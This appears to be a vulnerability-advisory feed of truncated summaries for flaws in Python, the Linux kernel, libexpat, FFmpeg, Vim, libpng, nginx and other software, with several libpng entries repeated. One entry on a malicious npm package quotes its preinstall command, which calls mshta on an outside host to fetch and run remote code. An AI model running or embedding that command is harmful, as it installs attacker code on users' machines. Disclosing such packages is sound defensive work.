python: Python: Cross-Site Scripting (XSS) vulnerability in http.cookies module

A flaw was found in Python's http.cookies module. The Morsel.jsoutput function, responsible for generating JavaScript output for cookies, does not properly neutralize the HTML sequence. This oversight could allow a remote attacker to inject malicious script into a web page, potentially leading to...

Important: Red Hat Security Advisory: python3.14 security, bug fix, and enhancement update

An update for python3.14 is now available for Red Hat Enterprise Linux 10. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability fr...

kernel: ip6_tunnel: clear skb2->cb[] in ip4ip6_err()

A flaw was found in the Linux kernel's IPv6 tunnel implementation. A remote attacker could exploit this flaw by sending malicious ICMPv6 error messages to cause a stack-based buffer overflow in the kernel's IPv4-over-IPv6 tunnel error handling code. This could result in a kernel crash denial of...

MAL-2026-6364 Malicious code in openllmapi (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9df5662b44b20595801c25919ac14689b71e89b8c1bdacceedc7ba1e9cf75c41 The package's preinstall lifecycle script preinstall.js line 3 runs cmd /c "mshta http://fixars.top", which causes Windows mshta.exe to download and...

CVE-2026-56406

A flaw was found in libexpat. An integer overflow vulnerability exists in the XMLParseBuffer function due to a missing check. This flaw could allow an attacker to cause memory corruption, potentially leading to arbitrary code execution, information disclosure, or a denial of service. Mitigation...

PT-2026-52145

Name of the Vulnerable Software and Affected Versions Quest NetVault Backup affected versions not specified Description An authentication bypass issue exists within the 'addclient3' webpage due to improper validation of user-supplied data. This allows remote attackers to inject arbitrary scripts,...

RHEL 9 : perl-IO-Compress (RHSA-2026:29210)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:29210 advisory. This distribution provides a Perl interface to allow reading and writing of compressed data created with the zlib and bzip2 libraries. IO-Compress...

RHEL 9 : perl-IO-Compress (RHSA-2026:29182)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:29182 advisory. This distribution provides a Perl interface to allow reading and writing of compressed data created with the zlib and bzip2 libraries. IO-Compress...

The vulnerability of the MagicYUV decoder on the FFmpeg media processing platform allows a hacker to execute arbitrary code.

The vulnerability of the MagicYUV decoder on the FFmpeg media processing platform relates to writing beyond the buffer boundaries. Exploiting this vulnerability allows a malicious actor to execute arbitrary code using a specially created malicious media file...

AlmaLinux 10 : python3.14 (ALSA-2026:28581)

The remote AlmaLinux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the ALSA-2026:28581 advisory. python: cpython: Python: Arbitrary code execution via command injection in webbrowser.open API CVE-2026-4786 python: Python: Cross-Site Scripting XSS...

Oracle Linux 9 : flatpak (ELSA-2026-21755)

The remote Oracle Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2026-21755 advisory. 1.12.9-4.1 - Fix arbitrary code execution via crafted symlinks in sandbox-expose options Resolves: RHEL-165643 - Fix arbitrary file deletion on host v...

PT-2026-51676

Name of the Vulnerable Software and Affected Versions logback-core versions prior to 1.5.35 Description An arbitrary code execution issue exists in the conditional configuration file processing of Java applications. An attacker can execute arbitrary code by compromising an existing logback...

Adobe ColdFusion < 2023.x < 2023u20 / 2025.x < 2025u9 Multiple Vulnerabilities (APSB26-64)

The version of Adobe ColdFusion installed on the remote Windows host is prior to 2023.x update 20 or 2025.x update 9. It is, therefore, affected by multiple vulnerabilities as referenced in the APSB26-64 advisory. - Improper Input Validation potentially leading to Arbitrary code execution...

Oracle Linux 9 : nginx (ELSA-2026-19374)

The remote Oracle Linux 9 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2026-19374 advisory. - Resolves: RHEL-176232 - nginx: NGINX: Arbitrary Code Execution Vulnerability CVE-2026-42945 - RHEL-159560 CVE-2026-27654 nginx: NGINX: Denial of Service or...

vim: Vim: Command injection allows arbitrary code execution via malicious tag files

A flaw was found in Vim, an open-source command-line text editor. This command injection vulnerability occurs during tag file processing. A local user could craft a malicious tags file containing backtick syntax in the filename field. When Vim resolves a tag from this file, it executes the embedd...

libpng: libpng: Arbitrary code execution due to use-after-free vulnerability

A flaw was found in libpng, a library used for processing PNG Portable Network Graphics image files. This vulnerability arises from improper memory management where a heap-allocated buffer is aliased between internal data structures. When specific functions are called, a freed memory region can...

libpng: libpng: Arbitrary code execution due to use-after-free vulnerability

A flaw was found in libpng, a library used for processing PNG Portable Network Graphics image files. This vulnerability arises from improper memory management where a heap-allocated buffer is aliased between internal data structures. When specific functions are called, a freed memory region can...

libpng: libpng: Arbitrary code execution due to use-after-free vulnerability

A flaw was found in libpng, a library used for processing PNG Portable Network Graphics image files. This vulnerability arises from improper memory management where a heap-allocated buffer is aliased between internal data structures. When specific functions are called, a freed memory region can...

Moderate: Red Hat Security Advisory: libpng15 security update

An update for libpng15 is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from t...

libpng: libpng: Arbitrary code execution due to use-after-free vulnerability

A flaw was found in libpng, a library used for processing PNG Portable Network Graphics image files. This vulnerability arises from improper memory management where a heap-allocated buffer is aliased between internal data structures. When specific functions are called, a freed memory region can...